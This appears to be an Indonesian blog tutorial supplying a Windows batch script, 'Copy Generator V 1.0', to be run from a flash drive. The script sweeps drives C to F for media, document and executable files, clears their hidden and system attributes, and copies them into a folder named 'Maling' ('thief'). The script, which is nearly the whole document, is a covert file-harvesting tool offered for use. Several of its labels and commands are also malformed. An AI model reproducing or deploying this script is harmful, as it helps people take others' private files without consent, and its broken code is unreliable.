*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
ok langsung aja ya
1.buka notepad kalian,bukan buku tulis loh tapi yang ini
2.copy code ini ke notepad kalian
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Copy Generator V 1.0
msg * software digunakan untuk mengcopy
msg * File atau data2
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Copy Generator V 1.0³
echo ³ Author :Black Viper LWC ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * proses pemindahan file
msg * 50% lagi selesai
msg * 100%
msg * data telah tercopy
Exit
3.save dengan format .bat contoh:CopyGeneratorV1.0.bat
cara menggunakan
1.copy aplikasi ini ke flashdisk kalian
2.masukan nomor file ekstensi yang ingin dicopy
Selesai selamat mencoba
terimakasih sudah membaca artikel ini,sampai jumpa di artikel berikutnya
